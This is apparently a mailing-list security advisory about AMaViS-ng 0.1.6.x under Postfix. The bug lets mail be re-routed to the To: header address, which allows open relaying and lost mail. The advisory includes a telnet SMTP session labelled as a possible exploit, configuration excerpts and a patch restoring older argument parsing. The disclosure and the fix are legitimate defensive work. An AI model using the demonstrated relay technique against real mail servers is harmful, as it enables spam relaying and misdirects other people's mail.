Onderwerp: AMaViS-ng 0.1.6.x and postfix: possible open relay and mail loss

Hi everyone -

with postfix using AMaViS-ng 0.1.6.x (tested: 0.1.6.2 and 0.1.6.3; 0.1.4.=
x is=20
not vulnerable), all email gets forwarded to the address specified by the=
=20
"To:" header line, ignoring the real recipient given via "RCPT TO:".

Possible exploit:
--%snip%--
#> telnet somemx.domain.tld 25
(220 somemx.domain.tld ESMTP Postfix)
helo amavis-ng
(250 somemx.domain.tld)
mail from:userX@domainX.tld
(250 ok)
rcpt to:userY@domain.tld
(250 ok)
data
(354 End data with <CR><LF>.<CR><LF>)
From: userX@domainX.tld
To: userZ@domainZ.tld
Subject: AMaViS-ng 0.1.6.x bug
=2E
(250 Ok: queued as ...)
quit
(221 Bye)
--%snip%--

Requirements: The mx (somemx.domain.tld) having postfix and AMaViS-ng 0.1=
=2E6.x=20
installed must accept emails for userY@domain.tld.

What does it to:
userX@domainX.tld is sending an email to userY@domain.tld. The header of =
this=20
email contains "To: userZ@domain.tld". AMaViS-ng seems to parse the heade=
r=20
and forwards the email to userZ@domain.tld. userY@domain.tld does not get=
=20
this email.
As many postfix users trust their localhost (no restrictions for localhos=
t),=20
it is possible to relay an email or a spam mail this way.

configuration files (relevant parts):

# $postfix/master.cf
smtp inet n - n - - smtpd -o content_filter=3Dfilter:
filter unix - n n - - pipe
flags=3DRq user=3Dmail argv=3D/usr/bin/amavis ${sender} -- ${recipient}
# end of master.cf

# $amavis-ng/amavis.conf
[global]
mail-transfer-agent =3D Postfix

[Postfix]
postfix =3D /usr/sbin/sendmail
args =3D -i -f
# end of amavis.conf

There is no problem with AMaViS =3D=3D 0.1.4.x

Kind regards,

Phil Cyc

--Boundary-00=_zD0k+WUhzg6GRCk
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Hi -

As long as the problem is not fixed by the AMaViS-ng maintainers, this patch
could be helpful.

I took the relevant part from the version 0.1.4.1 source. This patch
(attachment) applies to 0.1.6.3.

Kind regards,

Phil Cyc

--Boundary-00=_zD0k+WUhzg6GRCk
Content-Type: text/x-diff;
charset="iso-8859-1";
name="postfix.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="postfix.patch"

diff -Nru amavis-ng-0.1.6.3.orig/AMAVIS/MTA/Postfix.pm amavis-ng-0.1.6.3.postfix/AMAVIS/MTA/Postfix.pm
--- amavis-ng-0.1.6.3.orig/AMAVIS/MTA/Postfix.pm Tue Mar 18 00:04:21 2003
+++ amavis-ng-0.1.6.3.postfix/AMAVIS/MTA/Postfix.pm Tue Apr 8 23:28:09 2003
@@ -112,22 +112,11 @@

writelog($args,LOG_DEBUG, "Called as amavis ".join(' ',@ARGV));

- while (shift @ARGV) {
- /^-f$/ && next; # ignore "-f"
- /^-d$/ && next; # ignore "-d"
- s/^(.*)$/$1/; # untaint sender or recipient
- if (not defined $$args{'sender'}) {
- if (/^$/) {
- $$args{'sender'} = "<>";
- }
- else {
- $$args{'sender'} = $_;
- }
- }
- else {
- push @{$$args{'recipients'}}, $_;
- }
- }
+ shift @ARGV if $ARGV[0] eq "-f";
+ $$args{'sender'} = shift @ARGV;
+ $$args{'sender'} = "<>" if (!$$args{'sender'});
+ shift @ARGV if $ARGV[0] eq "-d";
+ push @{$$args{'recipients'}}, @ARGV;

# Message file has been written, reset file pointer and put it into
# the record.

--Boundary-00=_zD0k+WUhzg6GRCk--